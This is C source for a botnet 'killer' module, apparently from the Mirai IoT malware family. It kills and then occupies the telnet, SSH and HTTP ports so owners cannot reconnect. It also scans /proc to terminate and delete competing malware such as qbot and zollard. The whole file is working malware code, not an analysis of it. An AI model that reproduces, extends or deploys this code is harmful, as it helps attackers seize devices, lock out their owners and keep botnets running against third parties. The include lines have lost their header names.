#define _GNU_SOURCE #ifdef DEBUG #include #endif #include #include #include #include #include #include #include #include #include #include "includes.h" #include "killer.h" #include "table.h" #include "util.h" int killer_pid; char *killer_realpath; int killer_realpath_len = 0; void killer_init(void) { int killer_highest_pid = KILLER_MIN_PID, last_pid_scan = time(NULL), tmp_bind_fd; uint32_t scan_counter = 0; struct sockaddr_in tmp_bind_addr; // Let parent continue on main thread killer_pid = fork(); if (killer_pid > 0 || killer_pid == -1) return; tmp_bind_addr.sin_family = AF_INET; tmp_bind_addr.sin_addr.s_addr = INADDR_ANY; // Kill telnet service and prevent it from restarting #ifdef KILLER_REBIND_TELNET #ifdef DEBUG printf("[killer] Trying to kill port 23\n"); #endif if (killer_kill_by_port(htons(23))) { #ifdef DEBUG printf("[killer] Killed tcp/23 (telnet)\n"); #endif } else { #ifdef DEBUG printf("[killer] Failed to kill port 23\n"); #endif } tmp_bind_addr.sin_port = htons(23); if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) { bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); listen(tmp_bind_fd, 1); } #ifdef DEBUG printf("[killer] Bound to tcp/23 (telnet)\n"); #endif #endif // Kill SSH service and prevent it from restarting #ifdef KILLER_REBIND_SSH if (killer_kill_by_port(htons(22))) { #ifdef DEBUG printf("[killer] Killed tcp/22 (SSH)\n"); #endif } tmp_bind_addr.sin_port = htons(22); if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) { bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); listen(tmp_bind_fd, 1); } #ifdef DEBUG printf("[killer] Bound to tcp/22 (SSH)\n"); #endif #endif // Kill HTTP service and prevent it from restarting #ifdef KILLER_REBIND_HTTP if (killer_kill_by_port(htons(80))) { #ifdef DEBUG printf("[killer] Killed tcp/80 (http)\n"); #endif } tmp_bind_addr.sin_port = htons(80); if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) { bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); listen(tmp_bind_fd, 1); } #ifdef DEBUG printf("[killer] Bound to tcp/80 (http)\n"); #endif #endif // In case the binary is getting deleted, we want to get the REAL realpath sleep(5); killer_realpath = malloc(PATH_MAX); killer_realpath[0] = 0; killer_realpath_len = 0; if (!has_exe_access()) { #ifdef DEBUG printf("[killer] Machine does not have /proc/$pid/exe\n"); #endif return; } #ifdef DEBUG printf("[killer] Memory scanning processes\n"); #endif while (TRUE) { DIR *dir; struct dirent *file; table_unlock_val(TABLE_KILLER_PROC); if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) == NULL) { #ifdef DEBUG printf("[killer] Failed to open /proc!\n"); #endif break; } table_lock_val(TABLE_KILLER_PROC); while ((file = readdir(dir)) != NULL) { // skip all folders that are not PIDs if (*(file->d_name) < '0' || *(file->d_name) > '9') continue; char exe_path[64], *ptr_exe_path = exe_path, realpath[PATH_MAX]; char status_path[64], *ptr_status_path = status_path; int rp_len, fd, pid = atoi(file->d_name); scan_counter++; if (pid <= killer_highest_pid) { if (time(NULL) - last_pid_scan > KILLER_RESTART_SCAN_TIME) // If more than KILLER_RESTART_SCAN_TIME has passed, restart scans from lowest PID for process wrap { #ifdef DEBUG printf("[killer] %d seconds have passed since last scan. Re-scanning all processes!\n", KILLER_RESTART_SCAN_TIME); #endif killer_highest_pid = KILLER_MIN_PID; } else { if (pid > KILLER_MIN_PID && scan_counter % 10 == 0) sleep(1); // Sleep so we can wait for another process to spawn } continue; } if (pid > killer_highest_pid) killer_highest_pid = pid; last_pid_scan = time(NULL); table_unlock_val(TABLE_KILLER_PROC); table_unlock_val(TABLE_KILLER_EXE); // Store /proc/$pid/exe into exe_path ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); ptr_exe_path += util_strcpy(ptr_exe_path, file->d_name); ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_EXE, NULL)); // Store /proc/$pid/status into status_path ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); ptr_status_path += util_strcpy(ptr_status_path, file->d_name); ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_STATUS, NULL)); table_lock_val(TABLE_KILLER_PROC); table_lock_val(TABLE_KILLER_EXE); // Resolve exe_path (/proc/$pid/exe) -> realpath if ((rp_len = readlink(exe_path, realpath, sizeof (realpath) - 1)) != -1) { realpath[rp_len] = 0; // Nullterminate realpath, since readlink doesn't guarantee a null terminated string table_unlock_val(TABLE_KILLER_ANIME); // If path contains ".anime" kill. if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1) { unlink(realpath); kill(pid, 9); } table_lock_val(TABLE_KILLER_ANIME); // Skip this file if its realpath == killer_realpath if (pid == getpid() || pid == getppid() || util_strcmp(realpath, killer_realpath)) continue; if ((fd = open(realpath, O_RDONLY)) == -1) { #ifdef DEBUG printf("[killer] Process '%s' has deleted binary!\n", realpath); #endif kill(pid, 9); } close(fd); } if (memory_scan_match(exe_path)) { #ifdef DEBUG printf("[killer] Memory scan match for binary %s\n", exe_path); #endif kill(pid, 9); } /* if (upx_scan_match(exe_path, status_path)) { #ifdef DEBUG printf("[killer] UPX scan match for binary %s\n", exe_path); #endif kill(pid, 9); } */ // Don't let others memory scan!!! util_zero(exe_path, sizeof (exe_path)); util_zero(status_path, sizeof (status_path)); sleep(1); } closedir(dir); } #ifdef DEBUG printf("[killer] Finished\n"); #endif } void killer_kill(void) { kill(killer_pid, 9); } BOOL killer_kill_by_port(port_t port) { DIR *dir, *fd_dir; struct dirent *entry, *fd_entry; char path[PATH_MAX] = {0}, exe[PATH_MAX] = {0}, buffer[513] = {0}; int pid = 0, fd = 0; char inode[16] = {0}; char *ptr_path = path; int ret = 0; char port_str[16]; #ifdef DEBUG printf("[killer] Finding and killing processes holding port %d\n", ntohs(port)); #endif util_itoa(ntohs(port), 16, port_str); if (util_strlen(port_str) == 2) { port_str[2] = port_str[0]; port_str[3] = port_str[1]; port_str[4] = 0; port_str[0] = '0'; port_str[1] = '0'; } table_unlock_val(TABLE_KILLER_PROC); table_unlock_val(TABLE_KILLER_EXE); table_unlock_val(TABLE_KILLER_FD); fd = open("/proc/net/tcp", O_RDONLY); if (fd == -1) return 0; while (util_fdgets(buffer, 512, fd) != NULL) { int i = 0, ii = 0; while (buffer[i] != 0 && buffer[i] != ':') i++; if (buffer[i] == 0) continue; i += 2; ii = i; while (buffer[i] != 0 && buffer[i] != ' ') i++; buffer[i++] = 0; // Compare the entry in /proc/net/tcp to the hex value of the htons port if (util_stristr(&(buffer[ii]), util_strlen(&(buffer[ii])), port_str) != -1) { int column_index = 0; BOOL in_column = FALSE; BOOL listening_state = FALSE; while (column_index < 7 && buffer[++i] != 0) { if (buffer[i] == ' ' || buffer[i] == '\t') in_column = TRUE; else { if (in_column == TRUE) column_index++; if (in_column == TRUE && column_index == 1 && buffer[i + 1] == 'A') { listening_state = TRUE; } in_column = FALSE; } } ii = i; if (listening_state == FALSE) continue; while (buffer[i] != 0 && buffer[i] != ' ') i++; buffer[i++] = 0; if (util_strlen(&(buffer[ii])) > 15) continue; util_strcpy(inode, &(buffer[ii])); break; } } close(fd); // If we failed to find it, lock everything and move on if (util_strlen(inode) == 0) { #ifdef DEBUG printf("Failed to find inode for port %d\n", ntohs(port)); #endif table_lock_val(TABLE_KILLER_PROC); table_lock_val(TABLE_KILLER_EXE); table_lock_val(TABLE_KILLER_FD); return 0; } #ifdef DEBUG printf("Found inode \"%s\" for port %d\n", inode, ntohs(port)); #endif if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) != NULL) { while ((entry = readdir(dir)) != NULL && ret == 0) { char *pid = entry->d_name; // skip all folders that are not PIDs if (*pid < '0' || *pid > '9') continue; util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); util_strcpy(ptr_path + util_strlen(ptr_path), pid); util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_EXE, NULL)); if (readlink(path, exe, PATH_MAX) == -1) continue; util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); util_strcpy(ptr_path + util_strlen(ptr_path), pid); util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL)); if ((fd_dir = opendir(path)) != NULL) { while ((fd_entry = readdir(fd_dir)) != NULL && ret == 0) { char *fd_str = fd_entry->d_name; util_zero(exe, PATH_MAX); util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); util_strcpy(ptr_path + util_strlen(ptr_path), pid); util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL)); util_strcpy(ptr_path + util_strlen(ptr_path), "/"); util_strcpy(ptr_path + util_strlen(ptr_path), fd_str); if (readlink(path, exe, PATH_MAX) == -1) continue; if (util_stristr(exe, util_strlen(exe), inode) != -1) { #ifdef DEBUG printf("[killer] Found pid %d for port %d\n", util_atoi(pid, 10), ntohs(port)); #else kill(util_atoi(pid, 10), 9); #endif ret = 1; } } closedir(fd_dir); } } closedir(dir); } sleep(1); table_lock_val(TABLE_KILLER_PROC); table_lock_val(TABLE_KILLER_EXE); table_lock_val(TABLE_KILLER_FD); return ret; } static BOOL has_exe_access(void) { char path[PATH_MAX], *ptr_path = path, tmp[16]; int fd, k_rp_len; table_unlock_val(TABLE_KILLER_PROC); table_unlock_val(TABLE_KILLER_EXE); // Copy /proc/$pid/exe into path ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); ptr_path += util_strcpy(ptr_path, util_itoa(getpid(), 10, tmp)); ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_EXE, NULL)); // Try to open file if ((fd = open(path, O_RDONLY)) == -1) { #ifdef DEBUG printf("[killer] Failed to open()\n"); #endif return FALSE; } close(fd); table_lock_val(TABLE_KILLER_PROC); table_lock_val(TABLE_KILLER_EXE); if ((k_rp_len = readlink(path, killer_realpath, PATH_MAX - 1)) != -1) { killer_realpath[k_rp_len] = 0; #ifdef DEBUG printf("[killer] Detected we are running out of `%s`\n", killer_realpath); #endif } util_zero(path, ptr_path - path); return TRUE; } /* static BOOL status_upx_check(char *exe_path, char *status_path) { int fd, ret; if ((fd = open(exe_path, O_RDONLY)) != -1) { close(fd); return FALSE; } if ((fd = open(status_path, O_RDONLY)) == -1) return FALSE; while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0) { if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) || mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) || mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) || mem_exists(rdbuf, ret, m_upx_str, m_upx_len) || mem_exists(rdbuf, ret, m_zollard, m_zollard_len)) { found = TRUE; break; } } //eyy close(fd); return FALSE; } */ static BOOL memory_scan_match(char *path) { int fd, ret; char rdbuf[4096]; char *m_qbot_report, *m_qbot_http, *m_qbot_dup, *m_upx_str, *m_zollard; int m_qbot_len, m_qbot2_len, m_qbot3_len, m_upx_len, m_zollard_len; BOOL found = FALSE; if ((fd = open(path, O_RDONLY)) == -1) return FALSE; table_unlock_val(TABLE_MEM_QBOT); table_unlock_val(TABLE_MEM_QBOT2); table_unlock_val(TABLE_MEM_QBOT3); table_unlock_val(TABLE_MEM_UPX); table_unlock_val(TABLE_MEM_ZOLLARD); m_qbot_report = table_retrieve_val(TABLE_MEM_QBOT, &m_qbot_len); m_qbot_http = table_retrieve_val(TABLE_MEM_QBOT2, &m_qbot2_len); m_qbot_dup = table_retrieve_val(TABLE_MEM_QBOT3, &m_qbot3_len); m_upx_str = table_retrieve_val(TABLE_MEM_UPX, &m_upx_len); m_zollard = table_retrieve_val(TABLE_MEM_ZOLLARD, &m_zollard_len); while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0) { if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) || mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) || mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) || mem_exists(rdbuf, ret, m_upx_str, m_upx_len) || mem_exists(rdbuf, ret, m_zollard, m_zollard_len)) { found = TRUE; break; } } table_lock_val(TABLE_MEM_QBOT); table_lock_val(TABLE_MEM_QBOT2); table_lock_val(TABLE_MEM_QBOT3); table_lock_val(TABLE_MEM_UPX); table_lock_val(TABLE_MEM_ZOLLARD); close(fd); return found; } static BOOL mem_exists(char *buf, int buf_len, char *str, int str_len) { int matches = 0; if (str_len > buf_len) return FALSE; while (buf_len--) { if (*buf++ == str[matches]) { if (++matches == str_len) return TRUE; } else matches = 0; } return FALSE; }